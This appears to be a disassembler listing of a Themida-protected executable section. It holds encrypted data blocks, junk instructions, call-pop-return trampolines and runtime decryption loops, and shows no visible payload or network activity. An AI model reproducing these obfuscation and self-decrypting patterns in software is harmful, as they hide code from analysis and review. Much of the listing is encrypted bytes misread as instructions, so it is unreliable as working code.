0BE666000h, 8B0FE314h, 4, 6D09BA66h, 13E95961h dd 1D000000h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh, 0AB23D44Dh dd 148B1B7Dh, 1CF2810Fh, 0BE6DD6EFh, 4C5D1990h, 303DC281h dd 46B702A1h, 6DBDEA81h, 83B76D36h, 0D6816652h, 48F932Bh dd 0D88B660Fh, 338E981h, 8166663Fh, 818C66D3h, 3F0334C1h dd 0C1B86666h, 40F981AEh, 0FFFFF91h, 1485h, 8FB05100h dd 27E95Eh, 0EC0C0000h, 76FA4C1Bh, 4F794EBFh, 4870FA7h dd 66000000h, 0E98358B8h, 0FFFFFF92h, 1CEB4DADh, 0F3A22918h dd 4CAC48AEh, 0EE835h, 97FE0000h, 4E124506h, 0D6779F6h dd 2B9E3E14h, 1332BE66h, 0F505158h, 5F5BDFBFh, 5DE7C081h dd 0DD8A0000h, 174CB9h, 0F108B00h, 38Eh, 0F28B6600h, 8CEFEA81h dd 0C281332Fh, 782E8224h, 7C59EA81h, 8050717Bh, 895EB5D7h dd 38E0F10h, 0F000000h, 0E883D8B7h, 59DB8103h, 48476D04h dd 133250BBh, 1E98333h, 28850Fh, 12E80000h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5BACA7: ; DATA XREF: Themida_:0055FC78o adc [edi-3624EE93h], cl mov al, 29h retf 59B3h ; --------------------------------------------------------------------------- mov ch, 17h jbe short near ptr dword_5BAD08 test eax, 5FF9EA95h jmp loc_5BACF1 ; --------------------------------------------------------------------------- dd 1731A2C7h, 0D7327812h, 0BE8F353h, 9D000000h, 4C9AEF64h dd 0F8F334ABh, 94BB9E1Fh, 5F77D266h, 0FFFF78E9h, 0A08C70FFh dd 0B294BF1Ch, 7967B5A9h ; --------------------------------------------------------------------------- inc esi loc_5BACF1: ; CODE XREF: Themida_:005BACBBj ; DATA XREF: Themida_:0054DCC4o jmp loc_5BAD0C ; --------------------------------------------------------------------------- dw 212Bh dd 1972h, 3 dup(0) dword_5BAD08 dd 0 ; CODE XREF: Themida_:005BACB4j ; --------------------------------------------------------------------------- loc_5BAD0C: ; CODE XREF: Themida_:loc_5BACF1j jmp loc_5BB847 ; --------------------------------------------------------------------------- push 616FA15h jmp loc_55FF58 ; --------------------------------------------------------------------------- push 616FB0Bh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 616FCE7h jmp loc_55FF58 ; --------------------------------------------------------------------------- push 616FDE4h jmp loc_55FF58 ; --------------------------------------------------------------------------- push 616FF7Ch jmp loc_55FF58 ; --------------------------------------------------------------------------- push 617012Dh jmp loc_55FF58 ; --------------------------------------------------------------------------- push 6170240h jmp loc_55FF58 ; --------------------------------------------------------------------------- db 70h dd 0FDF0A557h, 714411CBh, 8F5AA5Ch, 78451ACCh, 89FBA862h dd 2AE4F6B9h, 97518875h, 31E3FBCAh, 88429164h, 0FD8AD9DBh dd 1DDF3D5Ah, 5CAD5DFBh, 0F7464D07h, 74752AE4h, 0BC47B6CEh dd 1DD85A26h, 0E12E5541h, 11B82F4Ah, 3F13CE85h, 0BE93C9D9h dd 38C8h, 0D60C7900h, 0A8C9751Ch, 621A48C2h, 45E2E08Bh dd 0D5241DD8h, 0A78DCE80h, 0FA87D8F7h, 9F518BE6h, 9F1E7220h dd 365DAAF3h, 9911B845h, 2DB38F2Ah, 1CBE93B8h, 0DFh, 0AC075C64h dd 28D6FDB7h, 82CE88DBh, 202FBC2Bh, 3517C845h, 0AA647C49h dd 9D367723h, 4140FA50h, 0DCF481F2h, 44C0CF22h, 0E99517C8h dd 540E3DC8h, 3DF10E5Dh, 2BA4822Eh, 0FB9ABD08h, 0CBBB17C8h dd 0AFA4F1A2h, 0A4FA0F5h, 7017C901h, 1F4A15Bh, 187918D2h dd 105B522Ah, 1DD905E2h, 951C4935h, 8DDED5A9h, 9130EAE0h dd 0E8A2B542h, 0C3B311B8h, 67F9CE8Fh, 1017CBA1h, 8FDE8D64h dd 5501803Ah, 0EEAF6960h, 5C09C317h, 10C21A67h, 0AA64764Fh dd 1531B84Ch, 4FE5E4E2h, 916h, 315E1047h, 7DD28CC4h, 2E631530h dd 7ED385BFh, 34611B2Fh, 9DAD7040h, 0A3FAEE3h, 9CB20350h dd 1348B5EAh, 59A80C59h, 0DF3E8BAEh, 7C2CCA1Dh, 754C065Ch dd 44D67906h, 8F7F17C8h, 352697CEh, 487C267Bh, 9A80531Ah dd 0E2114A1Dh, 36B43FAEh, 411DD84Ah, 4AE12E55h, 8511B849h dd 0D93F13CEh, 0C8BE93B3h, 0CEh, 4D075C20h, 29E3F746h dd 573E59AAh, 0DCEB009h, 1524CF1Eh, 4017C856h, 67BC0B54h dd 1317C85Ah, 6C5906C0h, 0B316BD77h, 7708F78Fh, 4C81D40Ah dd 1B47F39Ah, 5F437552h, 28D41DD8h, 205EBED9h, 1BD418A7h dd 0D6840BC5h, 6D1F358Ah, 0AEF7B866h, 0E09AB03Dh, 856C35E1h dd 0A14EA5D9h, 17CAC28Eh, 99E8D7C7h, 0F3938049h, 0EC124064h dd 5571D0A9h, 481C28F0h, 0DA7D0A79h, 7B0BA571h, 3283E28Bh dd 0EE906620h, 32E215F0h, 820992Fh, 0FE510000h, 0B2A6174Ch dd 35AABF8h, 9BB10451h, 1949BCE9h, 7242325Fh, 0B4E19BAFh dd 9561041h, 0A3F0A2BCh, 1A470152h, 9DBC479Ah, 0B81DDF3Fh dd 65C6A1Eh, 0B5A6174Ch, 2BD292ECh, 80D42438h, 75C87D3h dd 0E4F7464Dh, 0CE74752Ah, 66BC47B6h, 101DD855h, 3485145Fh dd 83D011B8h, 9FC0944Eh, 6B1AE995h, 0F49FC072h, 65BB6A5h dd 0D6FDB7ABh, 0A9557C28h, 0A7506FDh, 11B83467h, 81105BEEh dd 0D411B834h, 4E877C28h, 2849F59Ch, 0A15B703Dh, 56DFD522h dd 0A21198FEh, 3C2F4C07h, 88D781ADh, 0BC0FF6B7h, 13BA6C61h dd 97663B67h, 0B8038A44h, 8A719896h, 40F5B02Fh, 0B104510Bh dd 9EE9E8A2h, 8A7198F4h, 8D34EEE4h, 41AE0B40h, 8A71992Eh dd 0A42B7727h, 0D2AC312h, 45A12324h, 0E2BDE9BCh, 3E8D48E1h dd 0CE522D84h, 856C4FD4h, 3786DF80h, 2636A24h, 2CD9285Ch dd 0FF92DD32h, 568A71D5h, 52B1FAA6h, 81DFDBA5h, 33600C90h dd 5FC80AEh, 71ECDC7Ah, 0EC93838Ah, 51A88D9Fh, 43FD537Eh dd 26D8ED3Ch, 32EBF4A7h, 5811C024h, 0FA50147Ah, 8D4F2C51h dd 0F6A512B1h, 0E742849h, 0CC000004h, 3B5EA95Ah, 0AB17C845h dd 8676FCB6h, 4C16F3CBh, 0A19155h, 163CC5F0h, 341B235Fh dd 0E6BA3952h, 55AE6C17h, 1BF81DD9h, 0AF3CB2A3h, 0BC6E665Fh dd 743D6915h, 0A6607300h, 6C3F9AFAh, 0DE92C79Bh, 0BC766B70h dd 0C63D6915h, 0BA145739h, 1D948096h, 0DA0E21CEh, 57478A99h dd 361C7D16h, 0FA45F4Eh, 2EE0F629h, 0BFF9A753h, 27D6259Eh dd 0A9557C2Eh, 0AFF6FF08h, 0BB6B90ADh, 0ECA6B544h, 0B81546B7h dd 86A52C4Bh, 81DC2984h, 4E02B0CFh, 1AB96B61h, 26C2386Ch dd 6A6934BEh, 644D167h, 62750000h, 0BE12E3B0h, 675E4F04h dd 0B70DE0B5h, 6D5D5005h, 0A68EDEB3h, 6035EFE3h, 0CD823C8Dh dd 5F34E6E0h, 0CE833D8Eh, 61F07BCEh, 0F41DDF41h, 1A48AE5Ah dd 1AE08B62h, 0CD1DD856h, 345EF17Eh, 7F711B8h, 0F6E5345Bh dd 0F9EA953Ch, 18CD7140h, 0DA8807C1h, 76CC3786h, 7117C844h dd 8BBF2E85h, 0E6D590D1h, 0AAE7A95h, 53F2F3EFh, 0A76DD160h dd 0D798840Bh, 4C82DDEEh, 1B47F39Ah, 4A0455A4h, 0BDD69743h dd 22A15B70h, 0D59029B8h, 397CC86h, 0C4A48E9Dh, 2D88Ch dd 1A48D400h, 8BDC8B62h, 9231EBDEh, 457E11E4h, 27D717C8h dd 3D798186h, 2F21DDFh, 9EAD3CABh, 4C7E11E4h, 84D711B1h dd 0B14C58F7h, 4511FD11h, 85AA71Ch, 0DDE49EADh, 0BD306531h dd 5FACD38Dh, 11B14BCBh, 0B56F620Fh, 0C63F600Eh, 6D273A95h dd 0BE49B866h, 11B14B9Bh, 2096CABAh, 0DC0A16EAh, 47FD9316h dd 78000005h, 5F8AD5Fh, 794C19D3h, 10DDB264h, 604D02B4h dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch dd 0E592E1C3h, 1DDF4252h, 48B56503h, 348FC11Ah, 683C681Ah dd 3DD6EE99h, 0E9951DDFh, 3CA4FD1Ah, 57F0F701h, 0F4BD776Ah dd 90DF90DFh, 0B22A54E3h, 0A2150111h, 11B2298Fh, 6C2635C6h dd 0C4EDB965h, 0B581241h, 0D0EFA9BAh, 8AF55281h, 11B229E7h dd 0ABD27E6Eh, 6C19D443h, 0BC51C77h, 12980A57h, 3BE99D3h dd 1E5h, 4D075C47h, 2AE4F746h, 0B6CE7475h, 0F2A4BA47h dd 857E1FCBh, 0D85AE0FAh, 0F897871Dh, 239CECA7h, 3A4D3B29h dd 5E396D27h, 415146F4h, 4BBCE5CBh, 11B81C28h, 0E5EC9EB6h dd 0F4EA3D98h, 226F0E42h, 0A14D742Eh, 0E0F6AF24h, 0DF944D04h dd 594DF90h, 5011B81Ch, 1C3E51A4h, 671711B8h, 0DD369C46h dd 3D27BE93h, 7B000000h, 0B2AB5Ah, 0C8E99BB3h, 32810529h dd 0D84543C5h, 4948341Dh, 0B84457FEh, 30C97811h, 93B8CC52h dd 4195E4BEh, 37F07FECh, 0B96511B8h, 0C66916EDh, 8F11B837h dd 0C81EBEDFh, 62000000h, 0FFB1AB5Ah, 0BA74675Eh, 0C833C413h dd 17C844A9h, 269FC0ACh, 6537A34h, 25741BD5h, 0B2ED936h dd 4A17C845h, 6E59065Ah, 17C84995h, 673CF6E5h, 59A8DC82h dd 0DAF509AEh, 144D481Dh, 0D385BF82h, 0D73B7770h, 95C5348Bh dd 5A3586DBh, 174BB13h, 0C318EDC4h, 93DC8A09h, 90662032h dd 0DC060524h, 0AFBB5150h, 0E0000003h, 8D6035E7h, 0E1D4813Bh dd 98653AECh, 0E8D58A3Ch, 196B38F2h, 0BA746629h, 7C118E5h dd 0C1736B5Ah, 78322194h, 0CD3AC92Bh, 1DDF43AAh, 5C5D4DABh dd 3B5EA906h, 0AB17C845h, 732301B3h, 0D21FD01Fh, 5CFBC680h dd 1C17C845h, 0A3AB3E12h, 96E54B5Bh, 0C88C46E9h, 335F0F17h dd 99CA3B6Ah, 5CE8B2DFh, 99764D07h, 25448CA3h, 32E4E039h dd 47963D5Eh, 16635A14h, 0DC8A09C3h, 63CFD293h, 33E7A41Bh dd 767D3413h, 0B03BC8E9h, 1DD8F8EAh, 217211FDh, 4E543166h dd 0AE0336ABh, 4CBBE496h, 11B9162Bh, 0E4EB9DB7h, 38A4495h dd 4A5C1586h, 378EDB5Ah, 2EC7DC85h, 3887FF63h, 0C91FF5CBh dd 0AB02F217h, 0F700E6D0h, 640D37A9h, 0B641B201h, 0BA92EA3h dd 7B2D21B2h, 0B1FAA654h, 4D075CF9h, 1BCD0776h, 0EEA5C674h dd 9DF2AC9Fh, 7F6E163Ch, 0A928DAF2h, 67549AFDh, 15C781E9h dd 0F60C774Ch, 711DD86Dh, 9AB1FE85h, 3511B842h, 890FE37Eh dd 78BE93B5h, 2Eh, 621A48D0h, 45E2E08Bh, 67241DD8h, 90F1C8Eh dd 80F4BD0Dh, 8BA2ED94h, 4411B855h, 98FED48Dh, 89BE93A6h dd 0BEh, 0DD97CB3Ah, 75CD694h, 0E3F7464Dh, 281E971Ah, 0F4A0D00Ch dd 914B80CDh, 0F6B0A3F2h, 0B1AB5AA9h, 0C42F80FFh, 17C850B5h dd 0FFA0F4A0h, 0C8563308h, 5A144717h dd 0E9A3B805h, 0A3DB87EAh, 0A0E09B4Ch, 0C59AB570h, 839FCE3h dd 6BFB034Dh, 76DBC542h, 20CC1DD8h, 0BCC06E73h, 80FBA45h dd 463617CBh, 1ED80A77h, 944E8471h, 15CBE816h, 972D2CE2h dd 1FEh, 3966182Fh, 85DA94CCh, 366B1D38h, 86DB8DC7h, 3C692337h dd 0A5B57848h, 1247B6EBh, 0A4BA0B58h, 0FB509DF2h, 41901441h dd 0DF45A3B6h, 6414B21Dh, 174C065Ch, 78D5E7A4h, 96DA956Ah dd 0C88246E9h, 335F0F17h, 8E489B6Ah, 0A95A99C1h, 0C8453B5Eh dd 936A1A17h, 0C84549E8h, 3F600C17h, 9F88CB2h, 20D20B7Ah dd 5BACF5A1h, 1DD845CDh, 88D3FAAAh, 11B844E5h, 9BA73EAh dd 456A0D7Ah, 3BEB11B8h, 0B7EA7072h, 502BE93h, 0C918E05Fh dd 98446D63h, 0CBh, 4D075CF0h, 29E3F746h, 4A045DAAh, 57417C8h dd 0AE6879D4h, 902F630Fh, 174CB9E2h, 0A6B5085Dh, 0DE84E5ECh dd 57A857A6h, 0C83F8DACh, 52045917h, 7BD320CCh, 391FA8C9h dd 6E1DD853h, 8FC22F7Eh, 0D8D98CD5h, 509B126Ah, 17CAE25Ah dd 631D2DBCh, 87EDAE5Ch, 226B2897h, 2D803BACh, 0B140C3ECh dd 6918E7A1h, 83F0BF79h, 0BA63DF4h, 0B9ECB561h, 5E5C164Ch dd 0E215254Ah, 0EB55EB6Eh, 1C000000h, 714411C3h, 0FDF0A55Fh dd 7C4916C8h, 14E1AE60h, 0DD4F04BEh, 86409215h, 3BF5ECD9h dd 8D3F9766h, 3CF6E5D8h, 89F68567h, 1DDF46E6h, 5C29D16Fh dd 0A6174C06h, 0AF045AB5h, 0C8453544h, 20742017h, 451326D1h dd 524217C8h, 5C0951FEh, 0F7464D07h, 74752AE4h, 0BC47B6CEh dd 1DDF3D24h, 0E1F5403Fh, 0A608464Ah, 5586D3FAh, 0E4F7C69Bh dd 0A354A32Ah, 0B2313958h, 2F701C11h, 175623D8h, 39F46731h dd 269D578Ch, 85468469h, 4CA257FAh, 330EFEF2h, 0B2FB4093h dd 17D102F3h, 4E0859A8h, 0B9DA832Fh, 0BFBE706Ch, 78036072h dd 0F24CE8D9h, 0BDC4907Ch, 1CA35570h, 0DB8A23B2h, 0CE99CD87h dd 7A691CD5h, 312293C0h, 1FC05877h, 21000000h, 0C7C678D4h dd 0EB18521Bh, 0C71A6718h, 4497BA0Dh, 0A24D17C8h, 17C8448Fh dd 0AC58D6C6h, 35CA703h, 0F0E33251h, 144A9736h, 0BB0E5B62h dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h dd 56945170h, 0C6815E54h, 4, 8704EE83h, 565C2434h, 0C681E689h dd 4, 4EE81h, 34870000h, 0C895C24h, 4B5C6824h, 3C890000h dd 0B7BE5624h, 0C140372Ah, 0D6F703EEh, 8305EEC1h, 0C681FFEEh dd 0FE573016h, 545EF189h, 83243C8Bh, 6F6804C4h, 8900004Ah dd 8B82404h, 1000000h, 580889F8h, 5F2434FFh, 8B04C483h ; --------------------------------------------------------------------------- or al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55FF58 ; --------------------------------------------------------------------------- dw 3C23h dd 24C287A4h ; --------------------------------------------------------------------------- sub ah, 31h loc_5BB847: ; CODE XREF: Themida_:loc_5BAD0Cj mov eax, 6170350h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 18BEBD69h, 57AF6DB9h, 325BFC38h, 4BBBC928h, 3DD92A9Bh dd 64D8E4CEh, 5AEB6F8Ch, 3750FBA6h, 5962157Eh, 10EEE310h dd 3F0DFB6h, 271427BCh, 384ED538h, 6CC3B455h, 3F5ED3CBh dd 4035F14Bh, 6F635A60h, 1F35633Ah, 4EBD3B9Ch, 51FFC548h dd 1B56B7Ah, 0A43EC8Bh, 68D903F9h, 76B89713h, 5258D8Dh dd 0B5890617h, 6102859h, 9F58D89h, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 928AFFC3h dd 231985C7h, 66D40610h, 9D8B0000h, 61013C5h, 1069BD8Bh dd 85C70610h, 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5BB90B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB90B proc near ; CODE XREF: Themida_:005BB903p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BB90B endp ; --------------------------------------------------------------------------- fmulp st(2), st mov ds:0D5C1FB56h, al jnp short loc_5BB98C jnp loc_5BB930 mov [ebp+6103335h], edi loc_5BB930: ; CODE XREF: Themida_:005BB924j push dword ptr [ebp+61004E9h] push 0 push ecx call sub_5BB941 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB941 proc near ; CODE XREF: Themida_:005BB939p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5BB941 endp ; --------------------------------------------------------------------------- db 26h, 27h, 4Bh ; --------------------------------------------------------------------------- sub al, 16h db 36h pop ebx cmpsd mov [ebp+61006D1h], eax call dword ptr [ebp+6102DB9h] push 0 push edi call sub_5BB970 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB970 proc near ; CODE XREF: Themida_:005BB968p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BB970 endp ; --------------------------------------------------------------------------- or [ebp+22h], edx pop eax xchg eax, esi js short loc_5BB9FD lodsd jmp short near ptr dword_5BB9F4 ; --------------------------------------------------------------------------- dw 0FF00h ; --------------------------------------------------------------------------- loc_5BB98C: ; CODE XREF: Themida_:005BB922j xchg eax, ebp leave xor [eax], edx push es mov eax, eax jmp short loc_5BB9AD ; --------------------------------------------------------------------------- db 0Ah, 0B3h, 19h dd 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h db 0C1h ; --------------------------------------------------------------------------- loc_5BB9AD: ; CODE XREF: Themida_:005BB993j lea ecx, [ebp+617063Fh] push 0 push ebx call sub_5BB9BE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB9BE proc near ; CODE XREF: Themida_:005BB9B6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5BB9BE endp ; --------------------------------------------------------------------------- dw 0F5E9h dd 0AF89788Fh, 0B70F3850h, 0F58D89F2h, 6A061009h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dword_5BB9F4 dd 45000000h, 0DCEAC355h ; CODE XREF: Themida_:005BB988j db 0A3h ; --------------------------------------------------------------------------- loc_5BB9FD: ; CODE XREF: Themida_:005BB985j popa ror byte ptr ds:814F34D7h, 1 iret ; --------------------------------------------------------------------------- test byte ptr [esi+56h], 6 mov dword ptr [ebp+6102319h], 6380h push 0 push ecx call sub_5BBA1E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBA1E proc near ; CODE XREF: Themida_:005BBA16p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5BBA1E endp ; --------------------------------------------------------------------------- dw 2923h dd 58CFC68Bh, 80944CFDh, 0F1BBEEF3h, 0C7739155h, 1022C185h dd 6, 8BE7B400h, 10167185h, 89B5FF06h, 8B06101Dh, 0B995FFF9h dd 6A06102Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0BEFC352h, 98AF010Fh, 774DE174h dd 14E9h, 0A0AC1C00h, 372C1A7Ch, 711B1F9Bh, 0D93A7796h dd 63EF2378h, 1D95232Dh, 6A061002h, 0C995FF00h, 8B061031h dd 822DEBC0h, 0BD04B873h, 0FCCB6827h, 0F848FAC6h, 0A2D0B01Ah dd 69CC6ED4h, 8DD8E6h, 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh dd 0FC7B39BDh, 0E9B2D496h, 7468D8Dh, 6A0617h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 7FB844C3h dd 89F78B66h, 1009F58Dh, 1985C706h, 2C061023h, 80000060h dd 85C78FF7h, 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5BBB2B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBB2B proc near ; CODE XREF: Themida_:005BBB23p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BBB2B endp ; --------------------------------------------------------------------------- sub [eax+62563BD3h], esp retn 0B731h ; --------------------------------------------------------------------------- push dword ptr [ebp+61004E9h] push 0 push esi call sub_5BBB55 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBB55 proc near ; CODE XREF: Themida_:005BBB4Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5BBB55 endp ; --------------------------------------------------------------------------- mov ch, 3Bh pusha retf 0C3B4h ; --------------------------------------------------------------------------- call dword ptr [ebp+6102DB9h] push 0 push ebp call sub_5BBB7C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBB7C proc near ; CODE XREF: Themida_:005BBB74p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BBB7C endp ; --------------------------------------------------------------------------- mov ebp, 674C1612h jmp small loc_5BBBA8 ; --------------------------------------------------------------------------- db 2 dup(0), 26h dd 0F81297AAh, 65139864h, 0BCF6CBEAh, 0C76F1EF8h ; --------------------------------------------------------------------------- loc_5BBBA8: ; CODE XREF: Themida_:005BBB91j or al, 0DFh push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5BBBCE ; --------------------------------------------------------------------------- dw 0D4Dh dd 0DA282172h, 200BF2D6h, 0B049EA53h, 0C6B1BA9h, 5B59703h ; --------------------------------------------------------------------------- db 67h dec ecx loc_5BBBCE: ; CODE XREF: Themida_:005BBBB4j call sub_5BBBDB adc ch, dl test [edx], ch mov ss, bp adc bh, [esi] ; =============== S U B R O U T I N E ======================================= sub_5BBBDB proc near ; CODE XREF: Themida_:loc_5BBBCEp or [ebp+6102399h], esi pop eax sbb edx, 2AFA599Ah add eax, 6CB4h jle loc_5BBBFA or [ebp+6101F55h], ebx loc_5BBBFA: ; CODE XREF: sub_5BBBDB+13j push 1B06h mov [ebp+6100EB5h], edx pop edi mov bx, 6CBAh loc_5BBC0A: ; CODE XREF: Themida_:005BBC6Cj mov esi, [eax] movzx ecx, ax xor esi, 307D6FD9h mov ebx, [ebp+6101375h] xor esi, 136C8FABh mov [ebp+6100D91h], edx sub esi, 2003D983h or bl, 2Dh push esi mov [ebp+6100619h], ebx pop dword ptr [eax] mov ecx, ebx sub eax, 2 call near ptr loc_5BBC48+4 loc_5BBC43: ; CODE XREF: sub_5BBBDB:loc_5BBC43j ; DATA XREF: Themida_:0054C1FCo jge short loc_5BBC43 rep sub ah, [ebx] loc_5BBC48: ; CODE XREF: sub_5BBBDB+63p mov eax, ds:89FFC0B9h sub_5BBBDB endp ; sp-analysis failed mov ebp, 61007D5h pop edx dec eax dec eax jmp loc_5BBC66 ; --------------------------------------------------------------------------- dw 7181h ; --------------------------------------------------------------------------- sbb al, 9Eh cmp esi, esp push 0FE932D80h dec ecx loc_5BBC66: ; CODE XREF: Themida_:005BBC55j sub edi, 1 jnz loc_5BBC0A cmc call near ptr loc_5BBC7E+3 mov cl, 0B2h inc esp xchg ch, [edx+1Fh] loc_5BBC7E: ; CODE XREF: Themida_:005BBC73p adc [ecx-72727458h], ah add [eax], dl push es pop edi adc bh, 3Ah add edi, 5A35h mov [ebp+6101FFDh], ecx mov edx, 5D08FD0h xor edx, 5D099B2h sbb bx, 5FADh loc_5BBCA7: ; CODE XREF: Themida_:005BBD1Cj mov esi, [edi] mov [ebp+6100845h], edi xor esi, 1765E1BDh mov eax, [ebp+6102299h] sub esi, 2C5C1242h jle loc_5BBCCD mov ebx, [ebp+6100A21h] loc_5BBCCD: ; CODE XREF: Themida_:005BBCC1j add esi, 16375BE4h and cl, 9 mov [edi], esi mov [ebp+6101DD1h], eax sub edi, 2 jbe loc_5BBCEF jnp loc_5BBCEF push eax pop ebx loc_5BBCEF: ; CODE XREF: Themida_:005BBCE1j ; Themida_:005BBCE7j dec edi dec edi mov [ebp+610327Dh], esi sub edx, 1 jnz loc_5BBD18 and eax, [ebp+6100BB5h] jmp loc_5BBD29 ; --------------------------------------------------------------------------- div dh xor [ebx], eax sub dl, [ebx+548F814Dh] loc_5BBD18: ; CODE XREF: Themida_:005BBCFDj mov bx, 5226h jmp loc_5BBCA7 ; --------------------------------------------------------------------------- db 5Eh, 0Fh, 1Ah ; --------------------------------------------------------------------------- mov ebp, 6B3C38EDh loc_5BBD29: ; CODE XREF: Themida_:005BBD09j lea ecx, [ebp+6170960h] mov [ebp+610239Dh], edi mov [ebp+61009F5h], ecx xor [ebp+6102A95h], ebx mov edi, eax mov dword ptr [ebp+6102319h], 6A0Ch mov [ebp+610228Dh], edi mov dword ptr [ebp+61022C1h], 0 push 0 push edi call sub_5BBD68 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBD68 proc near ; CODE XREF: Themida_:005BBD60p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BBD68 endp ; --------------------------------------------------------------------------- sbb al, 3Bh sub [ebx+5Dh], edx inc edi pop esp cmp al, 0AFh stc push dword ptr [ebp+610232Dh] push 0 push ebp call sub_5BBD93 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBD93 proc near ; CODE XREF: Themida_:005BBD8Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5BBD93 endp ; --------------------------------------------------------------------------- rcl edx, 1 cmp [ebx], bl mov [ebx], ch sar dl, cl mov edi, [ebp+6102D9Dh] cld call dword ptr [ebp+6102DB9h] jo loc_5BBDC4 xor esi, [ebp+6100115h] loc_5BBDC4: ; CODE XREF: Themida_:005BBDB8j push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5BBE49 ; --------------------------------------------------------------------------- dd 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h, 14F8A24Ch dd 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 0E251FB46h dd 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h, 68D26195h dd 4D1A3CCh, 0F27D6044h, 48722AE0h, 8CDE20E0h, 84E8CD6h dd 594DDB55h, 881F927Fh, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h dd 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h, 0F320EB11h ; --------------------------------------------------------------------------- movsb loc_5BBE49: ; CODE XREF: Themida_:005BBDCEj lea ecx, [ebp+6170A9Dh] push 0 push eax call sub_5BBE5A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE5A proc near ; CODE XREF: Themida_:005BBE52p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5BBE5A endp ; --------------------------------------------------------------------------- icebp mov si, 83B0h mov [ebp+61009F5h], ecx push 0 push ebx call sub_5BBE80 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE80 proc near ; CODE XREF: Themida_:005BBE78p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5BBE80 endp ; --------------------------------------------------------------------------- or ebx, [eax-7FBBD9E0h] retn ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- mov dword ptr [ebp+6102319h], 5E24h stc mov dword ptr [ebp+61022C1h], 0 push 0 push ecx call sub_5BBEB8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBEB8 proc near ; CODE XREF: Themida_:005BBEB0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5BBEB8 endp ; --------------------------------------------------------------------------- dd 67BAE7F9h, 0B5FFF674h, 6101B25h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 8C35343h, 1BB703BDh, 0FB8B866h dd 2DB995FFh, 0BF0F0610h, 0FF006AC3h, 1031C995h, 0EBC08B06h dd 86D9E019h, 0F1F1DAD5h, 849313DEh, 0AD8CCBD8h, 3F96C9D9h dd 0A02F7090h, 8D8DC6D9h, 6170B2Fh, 89E3C480h, 1009F58Dh dd 0C78CB606h, 10231985h, 6CD406h, 68D0F00h, 81000000h dd 0A2B23FF3h, 0C185C772h, 61022h, 0F000000h, 388h, 0FFB70F00h dd 0EA5B5FFh, 0BF0F0610h, 0B995FFC1h, 6A06102Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 56F6C357h, 31C19589h, 6A580610h, 0C995FF00h, 